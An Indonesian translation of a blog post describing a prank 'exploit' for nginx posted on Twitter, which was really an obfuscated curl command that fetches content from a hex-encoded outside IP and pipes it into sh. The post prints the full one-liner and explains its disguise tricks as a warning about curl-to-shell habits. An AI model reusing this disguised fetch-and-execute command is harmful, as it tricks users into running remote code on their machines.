Keberhasilan eksperimen sosial dengan eksploitasi palsu untuk nginx

Catatan. terjemahan: Penulis catatan asli, diterbitkan pada tanggal 1 Juni, memutuskan untuk melakukan percobaan di antara mereka yang tertarik pada keamanan informasi. Untuk melakukan ini, dia menyiapkan eksploitasi palsu untuk kerentanan yang dirahasiakan di server web dan mempostingnya di Twitter-nya. Asumsinya - untuk segera diungkap oleh para spesialis yang akan melihat penipuan yang jelas dalam kode - tidak hanya tidak menjadi kenyataan... Mereka melampaui semua ekspektasi, dan sebaliknya: tweet tersebut mendapat dukungan besar dari banyak orang yang tidak melakukannya. periksa isinya.

Keberhasilan eksperimen sosial dengan eksploitasi palsu untuk nginx

TL;DR: Jangan gunakan pipelining file di sh atau bash dalam kondisi apa pun. Ini adalah cara yang bagus untuk kehilangan kendali atas komputer Anda.

Saya ingin berbagi dengan Anda cerita pendek tentang komik eksploitasi PoC yang dibuat pada tanggal 31 Mei. Dia muncul segera menanggapi berita dari Alisa Esage Shevchenko, anggota Inisiatif Hari Nol (ZDI), bahwa informasi tentang kerentanan di NGINX yang mengarah ke RCE (eksekusi kode jarak jauh) akan segera diungkapkan. Karena NGINX memberdayakan banyak situs web, beritanya pasti sangat mengejutkan. Namun karena tertundanya proses “pengungkapan yang bertanggung jawab”, rincian kejadiannya tidak diketahui - ini adalah prosedur standar ZDI.

Keberhasilan eksperimen sosial dengan eksploitasi palsu untuk nginx
menciak tentang pengungkapan kerentanan di NGINX

Setelah selesai mengerjakan teknik kebingungan baru di curl, saya mengutip tweet asli dan “membocorkan PoC yang berfungsi” yang terdiri dari satu baris kode yang diduga mengeksploitasi kerentanan yang ditemukan. Tentu saja, ini benar-benar tidak masuk akal. Saya berasumsi bahwa saya akan segera terekspos, dan paling banter saya akan mendapat beberapa retweet (oh baiklah).

Keberhasilan eksperimen sosial dengan eksploitasi palsu untuk nginx
menciak dengan eksploitasi palsu

Namun, saya tidak dapat membayangkan apa yang terjadi selanjutnya. Popularitas tweet saya meroket. Anehnya, saat ini (15:00 waktu Moskow pada 1 Juni) hanya sedikit orang yang menyadari bahwa ini palsu. Banyak orang yang me-retweetnya tanpa memeriksanya sama sekali (apalagi mengagumi grafik ASCII indah yang dihasilkannya).

Keberhasilan eksperimen sosial dengan eksploitasi palsu untuk nginx
Lihat saja betapa indahnya itu!

Meskipun semua loop dan warna ini bagus, jelas bahwa orang harus menjalankan kode di mesin mereka untuk melihatnya. Untungnya, browser bekerja dengan cara yang sama, dan dikombinasikan dengan fakta bahwa saya tidak benar-benar ingin mendapat masalah hukum, kode yang terkubur di situs saya hanya membuat panggilan gema tanpa mencoba menginstal atau mengeksekusi kode tambahan apa pun.

penyimpangan kecil: netspooky, DNZ, saya dan orang lain dari tim Kerumunan preman Kami telah bermain-main dengan berbagai cara untuk mengaburkan perintah curl untuk beberapa waktu sekarang karena itu keren... dan kami ahlinya. netspooky dan dnz menemukan beberapa metode baru yang tampaknya sangat menjanjikan bagi saya. Saya ikut bersenang-senang dan mencoba menambahkan konversi desimal IP ke dalam kumpulan trik. Ternyata IP juga bisa diubah ke format heksadesimal. Selain itu, curl dan sebagian besar alat NIX lainnya dengan senang hati memakan IP heksadesimal! Jadi ini hanya masalah menciptakan baris perintah yang meyakinkan dan terlihat aman. Akhirnya saya memilih yang satu ini:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Rekayasa sosio-elektronik (SEE) lebih dari sekedar phishing

Keamanan dan keakraban adalah bagian utama dari eksperimen ini. Saya pikir merekalah yang membawa kesuksesannya. Baris perintah dengan jelas menyiratkan keamanan dengan mengacu pada "127.0.0.1" (localhost terkenal). Localhost dianggap aman dan data di dalamnya tidak pernah meninggalkan komputer Anda.

Keakraban adalah komponen kunci kedua dari eksperimen SEE. Karena target audiens utamanya terdiri dari orang-orang yang memahami dasar-dasar keamanan komputer, penting untuk membuat kode sehingga bagian-bagiannya tampak familier dan familier (dan karenanya aman). Meminjam elemen konsep eksploitasi lama dan menggabungkannya dengan cara yang tidak biasa terbukti sangat berhasil.

Di bawah ini adalah analisis rinci dari one-liner. Semua yang ada di daftar ini bisa dipakai sifat kosmetik, dan praktis tidak diperlukan apa pun untuk pengoperasian sebenarnya.

Komponen apa saja yang benar-benar diperlukan? Ini -gsS, -O 0x0238f06a, |sh dan server web itu sendiri. Server web tidak berisi instruksi jahat apa pun, tetapi hanya menyajikan grafik ASCII menggunakan perintah echo dalam skrip yang terkandung di dalamnya index.html. Saat pengguna memasukkan baris dengan |sh di tengah-tengah, index.html dimuat dan dieksekusi. Untungnya, penjaga server web tidak mempunyai niat buruk.

  • ../../../%00 — mewakili melampaui direktori;
  • ngx_stream_module.so — jalur ke modul NGINX acak;
  • /bin/sh%00<'protocol:TCP' - kami seharusnya meluncurkannya /bin/sh pada mesin target dan mengarahkan output ke saluran TCP;
  • -O 0x0238f06a#PLToffset - bahan rahasia, ditambah #PLToffset, agar terlihat seperti offset memori yang terkandung dalam PLT;
  • |sh; - bagian penting lainnya. Kami perlu mengarahkan output ke sh/bash untuk mengeksekusi kode yang berasal dari server web penyerang yang berlokasi di 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - boneka yang mengacu pada netcat /dev/tcp/localhostagar semuanya terlihat aman kembali. Padahal, ia tidak melakukan apa-apa dan termasuk dalam lini kecantikan.

Ini menyimpulkan penguraian skrip satu baris dan pembahasan aspek “rekayasa sosio-elektronik” (phishing yang rumit).

Konfigurasi dan Penanggulangan Server Web

Karena sebagian besar pelanggan saya adalah infosec/hacker, saya memutuskan untuk membuat server web sedikit lebih tahan terhadap ekspresi “ketertarikan” mereka, hanya agar orang-orang tersebut mempunyai sesuatu untuk dilakukan (dan itu akan menyenangkan untuk dilakukan). mempersiapkan). Saya tidak akan mencantumkan semua kendala di sini karena percobaan masih berlangsung, namun berikut beberapa hal yang dilakukan server:

  • Secara aktif memantau upaya distribusi di jejaring sosial tertentu dan mengganti berbagai thumbnail pratinjau untuk mendorong pengguna mengklik link tersebut.
  • Mengalihkan Chrome/Mozilla/Safari/dll ke video promosi Thugcrowd alih-alih menampilkan skrip shell.
  • Mengawasi tanda-tanda JELAS dari intrusi/peretasan terang-terangan, dan kemudian mulai mengalihkan permintaan ke server NSA (ha!).
  • Menginstal Trojan, serta rootkit BIOS, di semua komputer yang penggunanya mengunjungi host dari browser biasa (bercanda!).

Keberhasilan eksperimen sosial dengan eksploitasi palsu untuk nginx
Sebagian kecil dari antimer

Dalam hal ini, satu-satunya tujuan saya adalah menguasai beberapa fitur Apache - khususnya, aturan keren untuk mengarahkan ulang permintaan - dan saya berpikir: mengapa tidak?

Eksploitasi NGINX (Nyata!)

berlangganan @alisesage di Twitter dan ikuti kerja keras ZDI dalam mengatasi kerentanan yang sangat nyata dan memanfaatkan peluang di NGINX. Karya mereka selalu membuat saya terpesona dan saya berterima kasih kepada Alice atas kesabarannya terhadap semua penyebutan dan pemberitahuan yang disebabkan oleh tweet bodoh saya. Untungnya, hal ini juga memberikan manfaat: membantu meningkatkan kesadaran akan kerentanan NGINX, serta masalah yang disebabkan oleh penyalahgunaan curl.

Sumber: www.habr.com

Tambah komentar